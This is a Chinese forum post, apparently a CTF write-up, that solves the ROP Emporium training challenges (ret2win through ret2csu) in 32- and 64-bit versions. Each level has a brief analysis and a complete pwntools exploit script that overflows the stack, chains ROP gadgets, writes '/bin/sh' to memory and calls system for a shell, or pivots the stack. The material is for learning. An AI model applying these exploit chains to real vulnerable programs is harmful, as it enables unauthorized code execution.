首页
论坛
课程
招聘
[原创]ROP Emporium writeup
2020-3-14 08:15 4489

[原创]ROP Emporium writeup

2020-3-14 08:15
4489


ROP Emporium:

https://ropemporium.com/


ret2win

32位

分析

运行看看


计算一下栈的大小,得到 44


在 ret2win 这个函数里面有个后门,输出了 flag.txt,地址是:0x8048659,只要把返回地址覆盖成这个就可以了



exp

from pwn import *
p=process('./ret2win32')
payload='a'*44+p32(0x8048659)
p.sendline(payload)
p.interactive()



64位

分析

GDB 调试:得到偏移


IDA 分析,依然是有个后门的,地址:0x400811



exp

from pwn import *
p=process('./ret2win')
pay='a'*40+p64(0x400811)
p.sendline(pay)
p.interactive()


它自己带的 flag 确实是写的 32 位



split

32位


分析

计算偏移:44


IDA打开搜索字符串,发现 data段有cat flag



同时有 system 的 plt 地址


exp

from pwn import *
sys_addr=0x8048430
p=process('./split32')
pay='a'*44+p32(sys_addr)+p32(0)+p32(0x804A030)
p.sendline(pay)
p.interactive()



64位

分析

gdb计算 偏移40



照样用



因为 64 位的传参要在寄存器里面,用ROPgadget,找一下pop rdi 的



exp

from pwn import *
p=process('./split')
pay='a'*40+p64(0x400883)+p64(0x601060)+p64(0x4005E0)
p.sendline(pay)
p.interactive()



callme

32位

题目说要按照 call callme_one(),callme_two(),callme_three() 的顺序调用执行

To dispose of the need for any RE we'll tell you the following:You must call callme_one(), callme_two() and callme_three() in that order, each with the arguments 1,2,3 e.g. callme_one(1,2,3) to print the flag. The solution here is simple enough, use your knowledge about what resides in the PLT to call the callme_ functions in the above order and with the correct arguments. Don't get distracted by the incorrect calls to these functions made in the binary, they're there to ensure these functions get linked. You can also ignore the .dat files and the encrypted flag in this challenge, they're there to ensure the functions must be called in the correct order.

分析

计算偏移:44


然后想要按照要求去调用他给的三个 call,那三个 call 是在附带的 libc 里面的定义的





根据这三个函数的定义

call_one 的三个参数应该是1、2、3

call_two 的三个参数应该是:1、2、3

call_three 的三个参数应该是:1、2、3


需要三个 pop 来把参数占用的给平衡掉,这样才能保证返回到下一个 call


exp

from pwn import *
p=process('./callme32')
call_one=0x080485C0
call_two=0x08048620
call_three=0x080485B0
pop_ret=0x080488a9
pay='a'*44+p32(call_one)+p32(pop_ret)+p32(1)+p32(2)+p32(3)
pay+=p32(call_two)+p32(pop_ret)+p32(1)+p32(2)+p32(3)
pay+=p32(call_three)+p32(pop_ret)+p32(1)+p32(2)+p32(3)
p.sendline(pay)
p.interactive()



64位

分析


x64 中的前六个参数依次保存在 RDI, RSI, RDX, RCX, R8 和 R9 中


用 ROPgadget --binary callme --only 'pop|ret'

完美!gadgets:0x401ab0



IDA 看一下函数地址



exp

from pwn import *
p=process('./callme')
pop_ret=0x401ab0
call_one=0x401850
call_two=0x401870
call_three=0x401810
pay='a'*40+p64(pop_ret)+p64(1)+p64(2)+p64(3)+p64(call_one)
pay+=p64(pop_ret)+p64(1)+p64(2)+p64(3)+p64(call_two)
pay+=p64(pop_ret)+p64(1)+p64(2)+p64(3)+p64(call_three)
p.sendline(pay)
p.interactive()



write4

32位

分析

偏移 44


没有可以用的 /bin/sh 字符串,有 system,可以用 ret2libc,但这个题目目的不在这,尝试自己去写到内存里然后再调用

参考:https://www.jianshu.com/p/d385e23b2a94  tql!


通过 ROPgadget 找到了要用的两段 gadget



说一下思路:通过 pop edi 和 ebp,把 bss 段的地址和 '/bin' (因为只能放 4 字节),放到这俩寄存器里面

然后通过:mov [edi],ebp 把字符串放到 bss 段,这样放两次,就放完了 "/bin/sh" 了,就可以用 system 来拿到 shell 了


exp

from pwn import *
p = process('./write432')
bss_addr=0x0804A040 
system_plt=0x08048430
pop_edi_ebp=0x080486da
mov_edi_ebp=0x08048670
pay ='a'*44+p32(pop_edi_ebp)+p32(bss_addr)+"/bin"+p32(mov_edi_ebp)
pay+=p32(pop_edi_ebp)+p32(bss_addr+4)+"/sh\x00"+p32(mov_edi_ebp)
pay+=p32(system_plt)+p32(0)+p32(bss_addr)
p.sendline(pay)
p.interactive()



64位

分析

偏移:40


然后用 ROPgadget 看一下 gadgets,这俩不错



然后 IDA 看一下:



同时别忘了,对于 64 位的来说,还需要一个 pop rdi ret 这样的 gadgets


exp

from pwn import *
p=process('./write4')
bss_addr=0x601060
pop_r14_r15=0x400890
mov_r14_r15=0x400820
sys_addr=0x4005E0
pop_rdi=0x400893
pay='a'*40+p64(pop_r14_r15)+p64(bss_addr)+'/bin/sh\x00'+p64(mov_r14_r15)+p64(pop_rdi)+p64(bss_addr)+p64(sys_addr)
p.sendline(pay)
p.interactive()



badchars

32位

分析

偏移大小为 44


IDA 看到在 pwnme 函数里面调用了一个 badchars 的函数



函数定义了上面说的那几个字符,如果遇到就换成 -21



这就会影响我们写入 /bin/sh,大佬的解决方案是异或!然后再找 gadget 去异或回来!

参考:https://www.jianshu.com/p/5b9abeca9308



然后,通过这个脚本,来找一下,看一下哪一些可以用来异或


binsh = "/bin/sh\x00"
badchar = [98, 105, 99, 47, 32, 102, 110, 115]
# for i in badchar:
#   print chr(i)
xornum = 1
while 1:
    for x in binsh:
        tem = ord(x) ^ xornum
        if tem in badchar:
            xornum += 1
            break
        if x == "\x00":
            print xornum
            xornum += 1
    if xornum == 10:
        break



也就是可以通过 2 或 3 或 5 或 9 来实现


exp

from pwn import *
p=process('./badchars32')
sys_addr=0x080484E0
binsh="/bin/sh\x00"
xorbinsh=""
for i in binsh:
    xorbinsh += chr(ord(i) ^ 2)
xor_ebx_cl=0x8048890
bss_addr=0x804A044
mov_edi_esi=0x8048893
pop_esi_edi=0x8048899
pop_ebx_ecx=0x8048896
pay='a'*44+p32(pop_esi_edi)+xorbinsh[0:4]+p32(bss_addr)+p32(mov_edi_esi)
pay+=p32(pop_esi_edi)+xorbinsh[4:8]+p32(bss_addr+4)+p32(mov_edi_esi)
for i in range(0,len(xorbinsh)):
    pay+=p32(pop_ebx_ecx)
    pay+=p32(bss_addr+i)+p32(2)
    pay+=p32(xor_ebx_cl)
pay+=p32(sys_addr)+p32(0)+p32(bss_addr)
p.sendline(pay)
p.interactive()


解释一下:首先,跟 write4 的一样,先把想要写到的地址和内容,都 pop 到寄存器,然后,mov 到指定的地址,这样就实现了往 bss 段写 /bin/sh 的操作了,由于写入的是异或的,在下面挨个取出来,再异或一下还原回来



64位

分析


偏移:40


找一下 gadgets



然后 IDA 看一下:sys_addr=0x4006f0



exp

from pwn import *
p=process('./badchars')
binsh='/bin/sh\x00'
xorbinsh=""
for i in binsh:
    xorbinsh+=chr(ord(i)^2)
pop_r12_r13=0x400b3b
mov_r13_r12=0x400b34
xor_r15_r14=0x400b30
pop_r14_r15=0x400b40
pop_rdi=0x400b39
bss_addr=0x601080
sys_addr=0x4006f0
pay='a'*40+p64(pop_r12_r13)+xorbinsh+p64(bss_addr)+p64(mov_r13_r12)
for x in range(0,len(xorbinsh)):
    pay+=p64(pop_r14_r15)+p64(2)+p64(bss_addr+x)+p64(xor_r15_r14)
pay+=p64(pop_rdi)+p64(bss_addr)+p64(sys_addr)
p.sendline(pay)
p.interactive()



fluff

32位


分析


找一下 gadget,这次没了之前那种 mov 到地址的操作,但是可以使用 xor 先对一个进行归零,然后再用它来把别的给写入,加上 --depth 20 搜的更能全面



sys_addr=0x8048430



exp


from pwn import *
p = process('./fluff32')
sys_addr = 0x08048430
bss_addr = 0x804A040
#mov_ecx_edx;pop_ebp;pop_ebx;xor_ecx_bl;ret
gadgets1 = 0x08048693
#xor_edx_edx;pop_esi;mov_ebp_0xcafebabe;ret
gadgets2 = 0x08048671
#xor edx, ebx ; pop ebp ; mov edi, 0xdeadbabe ; ret
gadgets3 = 0x0804867b
pop_ebx = 0x080483e1
#xchg edx, ecx ; pop ebp ; mov edx, 0xdefaced0 ; ret
gadgets4 = 0x08048689
pay='a'*44+p32(gadgets2)+p32(0)#edx=0
pay+=p32(pop_ebx)+p32(bss_addr)+p32(gadgets3)#edx=ebx=bss_addr
pay+=p32(0)+p32(gadgets4)+p32(0)#ecx=bss_addr
pay+=p32(pop_ebx)+"/bin"#ebx='/bin'
pay+=p32(gadgets2)+p32(0)#edx=0
pay+=p32(gadgets3)+p32(0)#edx='/bin'
pay+=p32(gadgets1)+p32(0)+p32(0)#edx -> ecx
pay+=p32(pop_ebx) + p32(bss_addr + 4)#ebx=bss_addr+4
pay+=p32(gadgets2) + p32(0)#edx=0
pay+=p32(gadgets3) + p32(0)#edx=ebx=bss_addr+4
pay+=p32(gadgets4) + p32(0)#ecx=bss_addr+4
pay+=p32(pop_ebx)+"/sh\x00"#ebx='/sh\x00'
pay+=p32(gadgets2)+p32(0)#edx=0
pay+=p32(gadgets3)+p32(0)#edx='/sh\x00'
pay+=p32(gadgets1)+p32(0)+p32(0)#edx -> ecx
pay+=p32(sys_addr)+p32(0)+p32(bss_addr)
p.sendline(pay)
p.interactive()


解释一下:首先用 gadgets2 把 edx 置为 0,然后把 bss_addr 给 pop 到 ebx,用 xor edx,ebx 来把 bss_addr 传给 edx

再用 gadgets4 把 edx 的内容给 ecx,再用 pop 把字符串 pop 到 ebx,先 xor edx,edx 为 0,再与 ebx 异或,使得 edx 为 ebx 的内容,在用 gadgets1 把 edx 写到 ecx 也就是 bss_addr


另外说一下:那个 gadgets4,我找到的是 0x08048686,可能是因为机器码的偏移导致 0x08048689 成了 xchg

补:可以用 ROPgadget 搜到(这是另一个的截图)


太强了!!!Orz...



64位

分析

屏幕都放不过来了


然后除了需要多用一个 pop_rdi 没区别了


exp

from pwn import *
p = process('./fluff')
binsh = "/bin/sh\x00"
sys_addr = 0x4005E0
bss_addr = 0x601060
pop_rdi = 0x00000000004008c3
#mov r10, r11 ; pop r13 ; pop r12 ; xor r10, r12 ; ret
gadget1 = 0x000000000040084e
#pop r15 ; mov r10, r11 ; pop r13 ; pop r12 ; xor r10, r12 ; ret
gadget2 = 0x000000000040084c
#xor r11, r11 ; pop r14 ; mov edi, 0x601050 ; ret
gadget3 = 0x0000000000400822
#xor r11, r12 ; pop r12 ; mov r13, 0x604060 ; ret
gadget4 = 0x000000000040082f
#xchg r11, r10 ; pop r15 ; mov r11, 0x602050 ; ret
gadget5 = 0x0000000000400840
#pop r12 ; pop r13 ; pop r14 ; pop r15 ; ret
gadget6 = 0x00000000004008bc
pay='a'*40+p64(gadget6)+p64(bss_addr)+p64(0)+p64(0)+p64(0)#bss_addr->r12
pay+=p64(gadget3)+p64(0)+p64(gadget4)+p64(0)#bss_addr->r11
pay+=p64(gadget5)+p64(0)#bss_addr->r10
pay+=p64(gadget6)+binsh+p64(0)+p64(0)+p64(0)#binsh->r12
pay+=p64(gadget3)+p64(0)+p64(gadget4)+p64(0)#binsh->r11
pay+=p64(gadget1)+p64(0)+p64(0)
pay+=p64(pop_rdi)+p64(bss_addr)+p64(sys_addr)
p.sendline(pay)
p.interactive()


思路:首先通过 gadget6 把 bss 段的地址给放到 r12,然后通过 gadget3 把 r11 置为 0,再用 gadget4 异或一下,把 bss 段的地址给放到 r11,然后通过 gadget5 把 bss 段的地址放到 r10,到这里就让它在 r10 就好了


然后在通过上述步骤,只是把 /bin/sh 这串字符串放在 r11 就可以,最后通过 gadget1 把 r11 的字符串放到 r10 的 bss 段去


然后在通过 pop_rdi 把参数放在 rdi,给 system 使用



pivot

32位


给的那个 libc 里面有个 ret2win,如果可以调用他的话就能打印出 flag,而l ibc 里面的 ret2win 和 foothold_function 之间的偏移是不变的,知道了 foothold_function 就能找到 ret2win 的地址


在程序里面有两次输入,第一次会把 al 的地址给打印出来,意思是让你把栈迁移到这个地方:



leave_ret,用来进行栈迁移



分别放 offset 和 foothold_function 的 got 表项



通过它把 foothold_function 的 got 表项中存的 foothold_function 的实际的地址放到 eax



eax 是 foothold_function 的实际地址,ebx 是 ret2win 相对于 foothold_function 的 offset,相加得到 ret2win 的实际地址



用来调用 ret2win



exp

from pwn import *
p=process("./pivot32")
elf=ELF('./pivot32')
lib_elf=ELF('./libpivot32.so')
leave_ret=0x80486a8
pop_eax=0x080488c0
pop_ebx=0x08048571
add_eax_ebx=0x080488c7
mov_eax_addr=0x080488c4
call_eax=0x080486a3
func_plt=elf.plt['foothold_function']
func_got=elf.got['foothold_function']
foothold_index=lib_elf.symbols['foothold_function']
ret2win_index=lib_elf.symbols['ret2win']
offset=int(ret2win_index-foothold_index)
p.recvuntil("place to pivot: ")
fake_ebp=int(p.recv(10),16)
payload1=p32(func_plt)
payload1+=p32(pop_eax)
payload1+=p32(func_got)
payload1+=p32(mov_eax_addr)
payload1+=p32(pop_ebx)
payload1+=p32(offset)
payload1+=p32(add_eax_ebx)
payload1+=p32(call_eax)
p.recvuntil('> ')
p.sendline(payload1)
payload2='a'*40+p32(fake_ebp-4)+p32(leave_ret)
p.recvuntil('> ')
p.sendline(payload2)
p.interactive()



64位


xchg 专门有这个指令搜索的嗷,可以通过它把 rsp 的值改成 rax 的,这样可以代替 leave_ret



from pwn import *
p=process("./pivot")
elf=ELF('./pivot')
lib_elf=ELF('./libpivot.so')
func_plt=elf.plt['foothold_function']
func_got_plt=elf.got['foothold_function']
foothold_sym=lib_elf.symbols['foothold_function']
ret2win_sym=lib_elf.symbols['ret2win']
offset=int(ret2win_sym-foothold_sym)
leave_ret=0x0400a39
mov_rax_rax=0x0400b05
pop_rax=0x0400b00
pop_rbp=0x0400900
add_rax_rbp=0x0400b09
xchg_rax_rsp = 0x0400b02
call_rax=0x040098e
leakaddr  = int(p.recv().split()[20], 16)
payload1=p64(func_plt)
payload1+=p64(pop_rax)
payload1+=p64(func_got_plt)
payload1+=p64(mov_rax_rax)
payload1+=p64(pop_rbp)
payload1+=p64(offset)
payload1+=p64(add_rax_rbp)
payload1+=p64(call_rax)
p.sendline(payload1)
payload2='A'*40
payload2 += p64(pop_rax)
payload2 += p64(leakaddr)
payload2 += p64(xchg_rax_rsp)
p.sendline(payload2)
p.interactive()



ret2csu


计算偏移:40


关于 ret2csu 原理可以看:我的语雀知识库里的: https://www.yuque.com/hxfqg9/hs80y0/pqc1nq


根据题目的要求,,去 call ret2win 同时,rdx 必须是 0xdeadcafebabebeef



exp

from pwn import *
p=process('ret2csu')
elf=ELF('ret2csu')
csu_front_addr=0x400880
csu_end_addr=0x40089a
ret2win = 0x4007b1
init_pointer= 0x0600E10
puts_got = elf.got['puts']
def csu(rbx, rbp, r12, r13, r14, r15, last):
    # pop rbx,rbp,r12,r13,r14,r15
    # rbx should be 0,
    # rbp should be 1,enable not to jump
    # r12 should be the function we want to call
    # rdi=edi=r15d
    # rsi=r14
    # rdx=r13
    payload = 'a'*40
    payload += p64(csu_end_addr) + p64(rbx) + p64(rbp) + p64(r12) + p64(r13) + p64(r14) + p64(r15)
    payload += p64(csu_front_addr)
    payload += 'a' * 0x38
    payload += p64(last)
    p.sendline(payload)
    p.interactive()
csu(0,1,init_pointer,0,0,0xdeadcafebabebeef,ret2win)




[看雪官方]《安卓高级研修班》线下班,网课(12月)班开始同步招生!!

最后于 2020-3-14 08:17 被yichen115编辑 ,原因: 补充题目网址
收藏
点赞0
打赏
分享
最新回复 (1)
雪    币: 55
活跃值: 活跃值 (179)
能力值: ( LV8,RANK:130 )
在线值:
发帖
回帖
粉丝
killpy 活跃值 2 2020-3-15 02:54
2
0
看不懂
游客
登录 | 注册 方可回帖
返回